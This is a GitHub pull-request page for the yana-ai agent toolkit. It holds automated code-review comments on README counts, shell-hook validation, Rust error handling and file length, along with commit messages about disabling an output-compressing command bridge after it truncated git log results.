    2.016 skills thành 2.025 skills, bao gồm các khu vực được chỉ rõ trong phần đầu
    và cây kiến trúc.

In @README.zh.md:

  • Line 39: 为 README.zh.md 中的版本徽章 img 元素添加描述性 alt 属性,保留现有 src 和其他属性不变,以满足
    markdownlint MD045。
  • Around line 12-14: Update all README.zh.md statistics and architecture-tree
    references to match MANIFEST.json: use 62 hooks and 2,025 skills consistently,
    including the locations noted in the comment, replacing stale 61/57 hooks and
    2,016 skills values.

Nitpick comments:
In @.claude/scripts/switch-engine.sh:

  • Line 3: Remove the duplicated maintenance copy of switch-engine.sh and
    establish a single source of truth, preferably by generating the .claude version
    from core/scripts/switch-engine.sh. Integrate a CI drift check using the
    existing core-lock.json synchronization mechanism so generated copies cannot
    diverge, while preserving the script’s current behavior and supported engines.

In @core/tests/hooks/test-rtk-bridge.sh:

  • Around line 102-122: Add a regression case alongside test 4b in the rtk bridge
    hook tests where the mock rtk returns a malicious command prefixed to the
    original command, such as an injected shell pipeline followed by git status.
    Assert the hook exits successfully but produces no output, confirming
    looks_like_a_rewrite_of rejects rewrites containing the original only as a
    substring while preserving the fallback behavior.

In @docs/index.html:

  • Line 568: Clarify the hook-count and protection wording so opt-in hooks are
    not presented as enabled by default. Update the corresponding text in
    docs/index.html:568-568, .claude/docs/index.html:568-568,
    .claude/docs/desktop.html:597-597 and :617-617, docs/desktop.html:597-597 and
    :617-617, and package.json:4-4; distinguish default hooks from available opt-in
    hooks or adjust the count and claims consistently across all sites.

In @docs/reference/token-optimization.md:

  • Around line 25-31: Remove the curl-pipe-shell installation alternative from
    the installation examples in token-optimization.md, leaving the existing brew
    install rtk and cargo install options intact. Do not replace it with another
    remote script execution command.

</details>

<details>
<summary>🪄 Autofix (Beta)</summary>

Fix all unresolved CodeRabbit comments on this PR:

- [ ] <!-- {"checkboxId": "4b0d0e0a-96d7-4f10-b296-3a18ea78f0b9"} --> Push a commit to this branch (recommended)
- [ ] <!-- {"checkboxId": "ff5b1114-7d8c-49e6-8ac1-43f82af23a33"} --> Create a new PR with the fixes

</details>

---

<details>
<summary>ℹ️ Review info</summary>

<details>
<summary>⚙️ Run configuration</summary>

**Configuration used**: Organization UI

**Review profile**: CHILL

**Plan**: Pro Plus

**Run ID**: `23ed8156-3d8d-41c2-8f94-37c30a41b0e1`

</details>

<details>
<summary>📥 Commits</summary>

Reviewing files that changed from the base of the PR and between 0918dc18757c881888ca9612851d91d723ba418d and 3c98d3c2c3dd251bc22c4657d5d4680f34953662.

</details>

<details>
<summary>⛔ Files ignored due to path filters (1)</summary>

* `package-lock.json` is excluded by `!**/package-lock.json`

</details>

<details>
<summary>📒 Files selected for processing (50)</summary>

* `.agent/rules/yana-ai.md`
* `.claude-plugin/marketplace.json`
* `.claude-plugin/plugin.json`
* `.claude/docs/ARCHITECTURE.md`
* `.claude/docs/desktop.html`
* `.claude/docs/index.html`
* `.claude/hooks/rtk-bridge.sh`
* `.claude/scripts/kimi-hook-adapter.sh`
* `.claude/scripts/switch-engine.sh`
* `.claude/settings.json`
* `.github/copilot-instructions.md`
* `.gitignore`
* `.kiro/steering/yana-ai.md`
* `.windsurf/rules/yana-ai.md`
* `CHANGELOG.md`
* `GEMINI.md`
* `MANIFEST.json`
* `OPENCODE.md`
* `README.ko.md`
* `README.md`
* `README.vi.md`
* `README.zh.md`
* `adapters/README.md`
* `adapters/aider.md`
* `adapters/antigravity.md`
* `adapters/continue.md`
* `adapters/deepseek.md`
* `adapters/gemini-code.md`
* `adapters/kimi.md`
* `adapters/kiro.md`
* `adapters/openrouter.md`
* `adapters/qwen.md`
* `adapters/windsurf.md`
* `bin/yana`
* `core/config/core-lock.json`
* `core/hooks/rtk-bridge.sh`
* `core/scripts/kimi-hook-adapter.sh`
* `core/scripts/switch-engine.sh`
* `core/tests/hooks/test-rtk-bridge.sh`
* `docs/ARCHITECTURE.md`
* `docs/desktop.html`
* `docs/index.html`
* `docs/reference/architecture.md`
* `docs/reference/cli-reference.md`
* `docs/reference/token-optimization.md`
* `package.json`
* `skills/yana-ai/SKILL.md`
* `src/main.rs`
* `src/skill_quality.rs`
* `src/task.rs`

</details>

<details>
<summary>💤 Files with no reviewable changes (16)</summary>

* GEMINI.md
* .windsurf/rules/yana-ai.md
* .github/copilot-instructions.md
* adapters/aider.md
* adapters/openrouter.md
* adapters/windsurf.md
* OPENCODE.md
* adapters/kimi.md
* adapters/qwen.md
* adapters/gemini-code.md
* .kiro/steering/yana-ai.md
* adapters/continue.md
* adapters/kiro.md
* core/scripts/kimi-hook-adapter.sh
* adapters/deepseek.md
* .claude/scripts/kimi-hook-adapter.sh

</details>

</details>

<!-- This is an auto-generated comment by CodeRabbit for review status -->

Comment thread .claude/hooks/rtk-bridge.sh
Comment on lines +57 to +65
# A rewrite is only trusted if the original command appears verbatim inside
# it (rtk's own contract: `git status` -> `rtk git status`, i.e. the input
# is a literal suffix of the output). Anything else — truncation, an
# unrelated string, a confused or compromised rtk build — falls back to the
# untouched original command rather than being trusted blindly.
looks_like_a_rewrite_of() {
local original="$1" candidate="$2"
[[ "$candidate" == *"$original"* ]]
}

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🔒 Security & Privacy | 🔴 Critical | ⚡ Quick win

Giống hệt core/hooks/rtk-bridge.sh: looks_like_a_rewrite_of chỉ check substring bất kỳ vị trí, không phải suffix như comment mô tả.

Cùng rủi ro command-injection nếu rtk bị compromise/PATH-hijack — xem bình luận chi tiết tại core/hooks/rtk-bridge.sh dòng 57-65.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.claude/hooks/rtk-bridge.sh around lines 57 - 65, Update
looks_like_a_rewrite_of in .claude/hooks/rtk-bridge.sh to validate that
candidate ends with the complete original command, matching the documented
literal-suffix contract rather than accepting the command at any position.
Preserve fallback behavior for truncated, unrelated, or otherwise invalid
rewrites.

Comment thread .claude/settings.json Outdated
Comment thread adapters/antigravity.md
Comment on lines +98 to 103
# One-time setup — regenerates .agent/rules/yana-ai.md
bash core/scripts/switch-engine.sh antigravity

# Manual use
bash core/scripts/safe-run.sh --engine gemini -- <your command>
bash core/scripts/safe-run.sh --engine antigravity -- <your command>
```

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🎯 Functional Correctness | 🟠 Major | ⚡ Quick win

Ví dụ safe-run.sh dùng separator -- mà script không hỗ trợ. core/scripts/safe-run.sh chỉ bóc --engine <val> rồi gán COMMAND="$*", nên -- trở thành một phần của lệnh được screening. adapters/antigravity.md là nguồn được switch-engine.sh antigravity copy sang .agent/rules/yana-ai.md, nên hai file lệch cùng một gốc.

  • adapters/antigravity.md#L98-L103: bỏ -- trong ví dụ Manual use để khớp cú pháp thật của safe-run.sh.
  • .agent/rules/yana-ai.md#L98-L103: cập nhật tương ứng (hoặc regenerate sau khi sửa adapter nguồn).
📍 Affects 2 files
  • adapters/antigravity.md#L98-L103 (this comment)
  • .agent/rules/yana-ai.md#L98-L103
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@adapters/antigravity.md` around lines 98 - 103, The safe-run.sh usage example
incorrectly includes the unsupported -- separator; remove it from the Manual use
example in adapters/antigravity.md lines 98-103, then regenerate or apply the
same update to .agent/rules/yana-ai.md lines 98-103 so both copies match.

Comment thread core/hooks/rtk-bridge.sh
Comment thread README.zh.md
Comment on lines +134 to +135
> **说明(2026-07-26):npm 包目前冻结在 v0.43.1。** 发布更新版本被 npm 账号层面的问题阻塞——已确认不是我们这边的配置问题(同一账号下多个不同的包,无论通过 CI 的 OIDC trusted publishing 还是浏览器手动登录,都复现同样的 403,而 npm 自己的 `access list` 显示对所有包都有 read-write 权限)。已多次向 npm 支持团队反馈,尚未解决。在这个问题解决之前,请使用下面的 `pip install yana-ai` 或 `cargo install yana-rt` 获取当前版本。

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🩺 Stability & Availability | 🟠 Major | ⚡ Quick win

在 PyPI 仍包含受影响版本时不要推荐 pip。

前文说明当前 PyPI 发布版本仍可能触发 CPU runaway,但这里又建议使用 pip install yana-ai。在修复版本正式发布前,应只推荐 Cargo/source,或明确说明 pip 版本仍不安全。

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@README.zh.md` around lines 134 - 135, 更新 README.zh.md 中关于获取当前版本的说明,移除对 “pip
install yana-ai” 的推荐;在修复版本发布前仅推荐 “cargo install yana-rt” 或源码安装,并保留 npm
冻结版本的现有说明。

Comment thread src/skill_quality.rs
Comment on lines +109 to +113
fn load_store() -> SkillQualityStore {
let path = store_path();
if !path.exists() { return SkillQualityStore::default(); }
serde_json::from_str(&fs::read_to_string(&path).unwrap_or_default()).unwrap_or_default()
}

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🗄️ Data Integrity & Integration | 🟠 Major | ⚡ Quick win

load_store nuốt lặng lẽ mọi lỗi đọc/parse, có nguy cơ mất dữ liệu ledger.

Nếu file tồn tại nhưng không đọc được (quyền, disk lỗi) hoặc bị hỏng, unwrap_or_default() âm thầm trả về store rỗng thay vì cảnh báo. Vì record_outcome sẽ ghi đè toàn bộ file sau đó (save_store), trust state đã tích luỹ (streak PASS, trạng thái Trusted) có thể bị xoá sạch mà không có bất kỳ dấu vết nào trong log.

As per coding guidelines, "Validate at system boundaries only (user input, external APIs) — trust internal code" — đọc file trên đĩa là một boundary ngoài và cần được xử lý đúng mực thay vì nuốt lỗi lặng lẽ.

🛠️ Đề xuất fix: cảnh báo thay vì âm thầm reset ledger
 fn load_store() -> SkillQualityStore {
     let path = store_path();
     if !path.exists() { return SkillQualityStore::default(); }
-    serde_json::from_str(&fs::read_to_string(&path).unwrap_or_default()).unwrap_or_default()
+    match fs::read_to_string(&path) {
+        Ok(content) => serde_json::from_str(&content).unwrap_or_else(|e| {
+            eprintln!("warning: {} bị hỏng ({e}), khởi tạo ledger rỗng — hãy backup nếu cần lịch sử cũ", path.display());
+            SkillQualityStore::default()
+        }),
+        Err(e) => {
+            eprintln!("warning: không đọc được {} ({e}), khởi tạo ledger rỗng", path.display());
+            SkillQualityStore::default()
+        }
+    }
 }
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
fn load_store() -> SkillQualityStore {
let path = store_path();
if !path.exists() { return SkillQualityStore::default(); }
serde_json::from_str(&fs::read_to_string(&path).unwrap_or_default()).unwrap_or_default()
}
fn load_store() -> SkillQualityStore {
let path = store_path();
if !path.exists() { return SkillQualityStore::default(); }
match fs::read_to_string(&path) {
Ok(content) => serde_json::from_str(&content).unwrap_or_else(|e| {
eprintln!("warning: {} bị hỏng ({e}), khởi tạo ledger rỗng — hãy backup nếu cần lịch sử cũ", path.display());
SkillQualityStore::default()
}),
Err(e) => {
eprintln!("warning: không đọc được {} ({e}), khởi tạo ledger rỗng", path.display());
SkillQualityStore::default()
}
}
}
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/skill_quality.rs` around lines 109 - 113, Update load_store to handle
read and JSON parse failures explicitly: preserve the default store only when
the file does not exist, and emit a warning with the relevant error details when
reading or parsing an existing ledger fails. Do not silently return an empty
store for corrupted or inaccessible files before record_outcome can overwrite
it.

Source: Coding guidelines

Comment thread src/skill_quality.rs
Comment on lines +115 to +120
fn save_store(store: &SkillQualityStore) {
let path = store_path();
if let Some(p) = path.parent() { fs::create_dir_all(p).ok(); }
fs::write(&path, serde_json::to_string_pretty(store).expect("serialize failed"))
.expect("write failed");
}

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🩺 Stability & Availability | 🟠 Major | ⚡ Quick win

save_store panic khi I/O lỗi — ảnh hưởng dây chuyền tới cmd_eval_judge.

.expect("serialize failed") / .expect("write failed") sẽ crash tiến trình nếu disk đầy, thiếu quyền ghi, v.v. Vì record_outcome (được gọi từ task::cmd_eval_judge sau khi task store đã lưu thành công) gọi hàm này, một lỗi ghi ở đây sẽ làm cả lệnh eval judge panic trước khi in verdict — dù task state đã được cập nhật đúng. Người dùng/CI sẽ thấy exit code lỗi dù PASS thực sự đã xảy ra, gây hiểu nhầm.

🛠️ Đề xuất fix: xử lý lỗi thay vì panic
 fn save_store(store: &SkillQualityStore) {
     let path = store_path();
-    if let Some(p) = path.parent() { fs::create_dir_all(p).ok(); }
-    fs::write(&path, serde_json::to_string_pretty(store).expect("serialize failed"))
-        .expect("write failed");
+    if let Some(p) = path.parent() {
+        if let Err(e) = fs::create_dir_all(p) {
+            eprintln!("warning: không tạo được thư mục {}: {e}", p.display());
+            return;
+        }
+    }
+    let Ok(json) = serde_json::to_string_pretty(store) else {
+        eprintln!("warning: serialize skill-quality store thất bại");
+        return;
+    };
+    if let Err(e) = fs::write(&path, json) {
+        eprintln!("warning: ghi {} thất bại: {e}", path.display());
+    }
 }
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
fn save_store(store: &SkillQualityStore) {
let path = store_path();
if let Some(p) = path.parent() { fs::create_dir_all(p).ok(); }
fs::write(&path, serde_json::to_string_pretty(store).expect("serialize failed"))
.expect("write failed");
}
fn save_store(store: &SkillQualityStore) {
let path = store_path();
if let Some(p) = path.parent() {
if let Err(e) = fs::create_dir_all(p) {
eprintln!("warning: không tạo được thư mục {}: {e}", p.display());
return;
}
}
let Ok(json) = serde_json::to_string_pretty(store) else {
eprintln!("warning: serialize skill-quality store thất bại");
return;
};
if let Err(e) = fs::write(&path, json) {
eprintln!("warning: ghi {} thất bại: {e}", path.display());
}
}
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/skill_quality.rs` around lines 115 - 120, Update save_store to handle
serialization, directory-creation, and file-write failures without panicking;
report the failure and return instead. Preserve the existing successful-save
behavior so record_outcome and cmd_eval_judge can finish and print the verdict
even when persistence fails.

Comment thread src/skill_quality.rs
Comment on lines +271 to +327
fn cmd_show(skill: Option<String>, json: bool) {
let store = load_store();

if let Some(name) = skill {
let Some(record) = store.skills.get(&name) else {
println!("No outcomes recorded yet for '{name}'.");
return;
};
if json {
let obj = serde_json::json!({ "skill": name, "trust": record.trust, "outcomes": record.outcomes });
println!("{}", serde_json::to_string_pretty(&obj).unwrap());
return;
}
let pass = record.outcomes.iter().filter(|o| o.verdict == Verdict::Pass).count();
let fail = record.outcomes.iter().filter(|o| o.verdict == Verdict::Fail).count();
println!("Skill: {name}");
println!(" trust: {:?}", record.trust);
println!(" outcomes: {} total ({pass} pass, {fail} fail)", record.outcomes.len());
println!(" streak: {} consecutive PASS", consecutive_pass_streak(&record.outcomes));
if is_eligible_for_promotion(record) {
println!(" -> eligible for promotion: yana-ai skill-quality promote {name}");
}
return;
}

if store.skills.is_empty() {
println!(
"No skill-quality data yet. Recorded automatically after `yana-ai eval judge`, \
if the task's session invoked a Skill/Agent tool call."
);
return;
}
if json {
println!("{}", serde_json::to_string_pretty(&store).unwrap());
return;
}

println!("{:<40} {:<12} {:>6} {:>6} {:>8}", "SKILL", "TRUST", "PASS", "FAIL", "STREAK");
println!("{}", "─".repeat(76));
let mut names: Vec<&String> = store.skills.keys().collect();
names.sort();
let mut any_eligible = false;
for name in names {
let record = &store.skills[name];
let pass = record.outcomes.iter().filter(|o| o.verdict == Verdict::Pass).count();
let fail = record.outcomes.iter().filter(|o| o.verdict == Verdict::Fail).count();
let streak = consecutive_pass_streak(&record.outcomes);
let eligible = is_eligible_for_promotion(record);
any_eligible |= eligible;
let flag = if eligible { " *" } else { "" };
println!("{name:<40} {:<12?} {pass:>6} {fail:>6} {streak:>8}{flag}", record.trust);
}
println!("{}", "─".repeat(76));
if any_eligible {
println!("* eligible for promotion — yana-ai skill-quality promote <skill>");
}
}

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

📐 Maintainability & Code Quality | 🟠 Major | ⚡ Quick win

cmd_show dài 57 dòng, vượt giới hạn 50 dòng/hàm.

As per coding guidelines, "Function length must not exceed 50 lines" cho **/*.{ts,tsx,py,rs,go}. Nên tách nhánh "hiện một skill" và nhánh "bảng tổng hợp" thành hai hàm riêng.

♻️ Đề xuất tách hàm
 fn cmd_show(skill: Option<String>, json: bool) {
     let store = load_store();
-
-    if let Some(name) = skill {
-        ... // toàn bộ nhánh hiện một skill
-        return;
-    }
-
-    if store.skills.is_empty() {
-        ...
-    }
-    ... // toàn bộ nhánh bảng tổng hợp
+    match skill {
+        Some(name) => cmd_show_one(&store, &name, json),
+        None => cmd_show_all(&store, json),
+    }
 }
+
+fn cmd_show_one(store: &SkillQualityStore, name: &str, json: bool) { /* nhánh cũ */ }
+
+fn cmd_show_all(store: &SkillQualityStore, json: bool) { /* nhánh cũ */ }
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/skill_quality.rs` around lines 271 - 327, Refactor cmd_show so it stays
within the 50-line function limit by extracting the single-skill display branch
and the aggregate table display branch into separate helper functions. Keep
cmd_show responsible only for loading the store and dispatching based on the
optional skill and json arguments, preserving all existing output and behavior
in the extracted helpers.

Source: Coding guidelines

Comment thread src/skill_quality.rs
Comment on lines +351 to +486
#[cfg(test)]
mod tests {
use super::*;

fn outcome(verdict: Verdict) -> SkillOutcome {
SkillOutcome { task_id: "t".into(), verdict, ts: now() }
}

#[test]
fn extract_field_reads_value_from_truncated_json_string() {
let input = r#"{"skill":"idea-loop","args":"foo bar baz...(cut off"#;
assert_eq!(extract_field(input, "skill").as_deref(), Some("idea-loop"));
}

#[test]
fn extract_field_none_when_key_absent() {
let input = r#"{"file_path":"README.md"}"#;
assert_eq!(extract_field(input, "skill"), None);
}

#[test]
fn extract_field_none_when_truncated_before_value_closes() {
// The 300-char audit-log.sh truncation can cut mid-value.
let input = r#"{"skill":"idea-loop-with-a-name-so-long-it-never-closes"#;
assert_eq!(extract_field(input, "skill"), None);
}

#[test]
fn consecutive_pass_streak_counts_only_the_trailing_run() {
let outcomes = vec![outcome(Verdict::Fail), outcome(Verdict::Pass), outcome(Verdict::Pass)];
assert_eq!(consecutive_pass_streak(&outcomes), 2);
}

#[test]
fn consecutive_pass_streak_zero_when_last_outcome_failed() {
let outcomes = vec![outcome(Verdict::Pass), outcome(Verdict::Fail)];
assert_eq!(consecutive_pass_streak(&outcomes), 0);
}

#[test]
fn eligible_for_promotion_requires_threshold_and_provisional() {
let mut record = SkillRecord::default();
for _ in 0..PROMOTION_THRESHOLD {
record.outcomes.push(outcome(Verdict::Pass));
}
assert!(is_eligible_for_promotion(&record));

record.trust = TrustState::Trusted;
assert!(!is_eligible_for_promotion(&record), "already-trusted skills aren't 'eligible' again");
}

#[test]
fn not_eligible_below_threshold() {
let mut record = SkillRecord::default();
for _ in 0..PROMOTION_THRESHOLD - 1 {
record.outcomes.push(outcome(Verdict::Pass));
}
assert!(!is_eligible_for_promotion(&record));
}

/// A `skill_quality.json` written before `trust` existed (or with an
/// unrecognized/missing field) must still deserialize — same
/// backward-compat contract task.rs documents for `eval_judge_attempts`.
#[test]
fn store_missing_optional_fields_deserializes_with_defaults() {
let json = r#"{"skills":{"idea-loop":{"outcomes":[]}}}"#;
let store: SkillQualityStore = serde_json::from_str(json).unwrap();
let record = &store.skills["idea-loop"];
assert_eq!(record.trust, TrustState::Provisional);
assert!(record.outcomes.is_empty());
}

#[test]
fn empty_store_deserializes_from_empty_object() {
let store: SkillQualityStore = serde_json::from_str("{}").unwrap();
assert!(store.skills.is_empty());
}

#[test]
fn parse_ts_accepts_yana_ai_format() {
assert!(parse_ts("2026-07-25T13:39:13Z").is_some());
}

#[test]
fn parse_ts_rejects_garbage() {
assert_eq!(parse_ts("not-a-timestamp"), None);
}

#[test]
fn parse_ts_orders_correctly_by_instant_not_by_string() {
// A string comparison would get this wrong purely by character
// ordering coincidence in a different-but-plausible format; a
// parsed-instant comparison must not.
let earlier = parse_ts("2026-07-25T09:00:00Z").unwrap();
let later = parse_ts("2026-07-25T13:39:13Z").unwrap();
assert!(earlier < later);
}

#[test]
fn consecutive_fail_streak_counts_only_the_trailing_run() {
let outcomes = vec![outcome(Verdict::Pass), outcome(Verdict::Fail), outcome(Verdict::Fail)];
assert_eq!(consecutive_fail_streak(&outcomes), 2);
}

#[test]
fn auto_demote_reverts_trusted_skill_after_fail_streak() {
let mut record = SkillRecord { trust: TrustState::Trusted, outcomes: vec![] };
for _ in 0..DEMOTE_THRESHOLD - 1 {
record.outcomes.push(outcome(Verdict::Fail));
maybe_auto_demote(&mut record);
assert_eq!(record.trust, TrustState::Trusted, "not yet at threshold");
}
record.outcomes.push(outcome(Verdict::Fail));
maybe_auto_demote(&mut record);
assert_eq!(record.trust, TrustState::Provisional, "threshold reached -> demoted");
}

#[test]
fn auto_demote_is_a_no_op_on_provisional_skills() {
// Demotion only ever reverts standing that exists — a Provisional
// skill has none to revoke.
let mut record = SkillRecord::default();
for _ in 0..DEMOTE_THRESHOLD {
record.outcomes.push(outcome(Verdict::Fail));
}
maybe_auto_demote(&mut record);
assert_eq!(record.trust, TrustState::Provisional);
}

#[test]
fn auto_demote_does_not_trigger_on_a_single_recent_fail() {
let mut record = SkillRecord { trust: TrustState::Trusted, outcomes: vec![outcome(Verdict::Fail)] };
maybe_auto_demote(&mut record);
assert_eq!(record.trust, TrustState::Trusted);
}
}

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

📐 Maintainability & Code Quality | 🟠 Major | 🏗️ Heavy lift

Toàn file ~486 dòng, vượt giới hạn 300 dòng/file.

As per coding guidelines, "File length must not exceed 300 lines" cho **/*.{ts,tsx,py,rs,go}. Module test (~135 dòng, dòng 351-486) là ứng viên rõ ràng nhất để tách ra file/submodule riêng (ví dụ skill_quality/tests.rs qua #[path]), giúp file chính quay về dưới ngưỡng.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/skill_quality.rs` around lines 351 - 486, Move the entire cfg(test) tests
module from skill_quality.rs into a dedicated test submodule file, such as
tests.rs, and include it from skill_quality.rs using the appropriate module path
declaration. Preserve all existing test helpers, imports, and test behavior
while reducing the main source file below the 300-line limit.

Source: Coding guidelines

yanacuti1121 and others added 3 commits July 27, 2026 10:46
Wired live earlier this session with anh's explicit confirmation; unwired
the same session after a concrete failure was observed, not a theoretical
one. With the bridge active, an agent's own verification command
(git log --oneline piped to wc -l) silently returned 50 instead of the
true 1,478 commits -- rtk's compact git log format truncates rather than
counting everything. rtk's own "never emits more tokens than the raw
command" guard is a token-count promise, not a completeness promise.

This is a real risk for any agent (this one included) that relies on
exact tool output for evidence-based claims per verification.md's Iron
Law -- a silently truncated git log could have produced a wrong fact
reported as verified. Caught only by chance, cross-checking against the
GitHub API for an unrelated reason.

core/hooks/rtk-bridge.sh (mirrored .claude/ + .codex/) stays available as
opt-in only, matching its original design -- YANA_RTK_BRIDGE=1 plus a
manual settings.json edit, not auto-wired. Header comment and
docs/reference/token-optimization.md both now document this incident
explicitly as a known limitation of enabling it broadly, not just the
general "compacts output" framing from before.

run-hook-tests.sh 260/260, core-lock regenerated (comment-only hook
change), drift-check.sh clean.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
main independently restructured README.md (and its locale translations)
while this branch was diverging with its own v1.0.0/harness-cut/rtk work
-- the yana-rt self-recursion CPU bug warning, demo GIF repositioning,
and a rewritten safety-architecture section (Merkle audit chain,
core-lock integrity, reviewed infrastructure writes, human gate) landed
on main but not here. This caused a real merge conflict in README.ko.md/
README.vi.md/README.zh.md (PR #85), confirmed via git merge-tree preview
before touching anything.

Resolution: took main's newer structural content in each locale file as
the base, then re-applied this branch's own newer facts on top -- v1.0.0
(from v0.43.2), 62 hooks/113 scripts (from 61/108), the 4-engine harness
list (from the stale 12-engine one, including switch-engine.sh examples
and the intro sentence naming all 10+ old engines), and added a
translated "cutting your own token bill" section pointing at rtk (new
content that doesn't exist on main in any language yet).

Also fixed two stale counts in README.md itself, found while using it as
the reference for what the locale files should say: the ASCII banner
still said "61 hooks" and the file-tree comment still said "57
PreToolUse/PostToolUse/Stop hooks" -- both now 62, and the old
10-engine intro sentence (Windsurf/Kiro/OpenCode/Zed/Gemini/Copilot/
Aider) was never updated when harness support was cut to 4, despite the
"4 harness adapters" bullet elsewhere already being correct.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
…-skills

# Conflicts:
#	README.ko.md
#	README.vi.md
#	README.zh.md

@coderabbitai coderabbitai Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Caution

Some comments are outside the diff and can’t be posted inline due to platform limitations.

⚠️ Outside diff range comments (1)
README.vi.md (1)

367-367: 🎯 Functional Correctness | 🟡 Minor | ⚡ Quick win

Đồng bộ số lượng skill trong README.vi.md.

Dòng này ghi 2.025 skill, nhưng phần “Kiến trúc an toàn” ở Line 265 vẫn ghi 2.016; các README ngôn ngữ khác và task router đều dùng 2.025. Hãy cập nhật số liệu còn lại để trang không tự mâu thuẫn.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@README.vi.md` at line 367, Cập nhật số lượng skill còn lại trong phần “Kiến
trúc an toàn” của README.vi.md từ 2.016 lên 2.025, giữ nhất quán với dòng
harness adapter, các README ngôn ngữ khác và task router.
🧹 Nitpick comments (1)
README.md (1)

320-332: 🔒 Security & Privacy | 🔵 Trivial | ⚡ Quick win

Bổ sung cảnh báo an toàn khi hướng dẫn dùng rtk.

core/hooks/rtk-bridge.sh cảnh báo rằng nội dung lệnh, kể cả secret, có thể được truyền qua binary bên thứ ba; output bị nén cũng có thể thiếu hoặc sai khi dùng để đếm, kiểm chứng hay fact-check. Bốn README hiện chỉ nêu lợi ích và cách wiring. Hãy thêm cảnh báo ngắn, khuyến nghị không dùng output nén cho kiểm chứng và double-check bằng output gốc.

  • README.md#L320-L332: thêm cảnh báo trong mục “Cutting your own token bill”.
  • README.ko.md#L312-L322: thêm cùng cảnh báo trong mục “토큰 비용 줄이기”.
  • README.vi.md#L313-L324: thêm cùng cảnh báo trong mục “Cắt giảm chi phí token của chính bạn”.
  • README.zh.md#L312-L323: thêm cùng cảnh báo trong mục “降低你自己的 token 账单”.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@README.md` around lines 320 - 332, README.md lines 320-332: add a brief
safety warning to “Cutting your own token bill” that command contents, including
secrets, may pass through a third-party binary and compressed output may be
incomplete or inaccurate; advise against using compressed output for counting,
verification, or fact-checking and recommend double-checking original output.
Add the equivalent localized warning to README.ko.md lines 312-322 under “토큰 비용
줄이기”, README.vi.md lines 313-324 under “Cắt giảm chi phí token của chính bạn”,
and README.zh.md lines 312-323 under “降低你自己的 token 账单”.
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

Outside diff comments:
In `@README.vi.md`:
- Line 367: Cập nhật số lượng skill còn lại trong phần “Kiến trúc an toàn” của
README.vi.md từ 2.016 lên 2.025, giữ nhất quán với dòng harness adapter, các
README ngôn ngữ khác và task router.

---

Nitpick comments:
In `@README.md`:
- Around line 320-332: README.md lines 320-332: add a brief safety warning to
“Cutting your own token bill” that command contents, including secrets, may pass
through a third-party binary and compressed output may be incomplete or
inaccurate; advise against using compressed output for counting, verification,
or fact-checking and recommend double-checking original output. Add the
equivalent localized warning to README.ko.md lines 312-322 under “토큰 비용 줄이기”,
README.vi.md lines 313-324 under “Cắt giảm chi phí token của chính bạn”, and
README.zh.md lines 312-323 under “降低你自己的 token 账单”.

ℹ️ Review info
⚙️ Run configuration

Configuration used: Organization UI

Review profile: CHILL

Plan: Pro Plus

Run ID: 2c44c66f-de39-4d0f-9531-70a6e3ab050f

📥 Commits

Reviewing files that changed from the base of the PR and between 3c98d3c and 64dcd4e.

📒 Files selected for processing (8)
  • .claude/hooks/rtk-bridge.sh
  • README.ko.md
  • README.md
  • README.vi.md
  • README.zh.md
  • core/config/core-lock.json
  • core/hooks/rtk-bridge.sh
  • docs/reference/token-optimization.md
🚧 Files skipped from review as they are similar to previous changes (4)
  • docs/reference/token-optimization.md
  • .claude/hooks/rtk-bridge.sh
  • core/config/core-lock.json
  • core/hooks/rtk-bridge.sh

@yanacuti1121
yanacuti1121 merged commit 5ab5da6 into main Jul 27, 2026
5 of 7 checks passed
yanacuti1121 added a commit that referenced this pull request Jul 27, 2026
Investigated PR #85 (already merged to main by the time this was
checked, main's CI workflow currently red) at anh's request to check
for errors. Found two distinct, real, pre-existing bugs -- neither
introduced by this branch's own work, both newly exposed once the
merge brought main and this branch's history together on one CI run.

1. bin/yana's dispatch case-statement was missing `mcp` -- the same bug
   class already fixed once this session for observability/skill-quality:
   a Rust subcommand exists in src/main.rs but bin/yana never routed to
   it, so `yana-ai mcp ...` fell through to "Unknown command" even
   though the underlying yana-rt binary implements it. CI's
